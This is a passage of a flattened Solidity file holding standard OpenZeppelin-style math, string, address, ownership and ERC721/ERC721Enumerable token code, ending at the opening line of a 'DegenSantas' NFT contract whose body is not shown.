* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
string public _baseURI;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory base = baseURI();
return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function baseURI() internal view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
pragma solidity ^0.8.0;
contract DegenSantas is ERC721Enumerable, Ownable
{
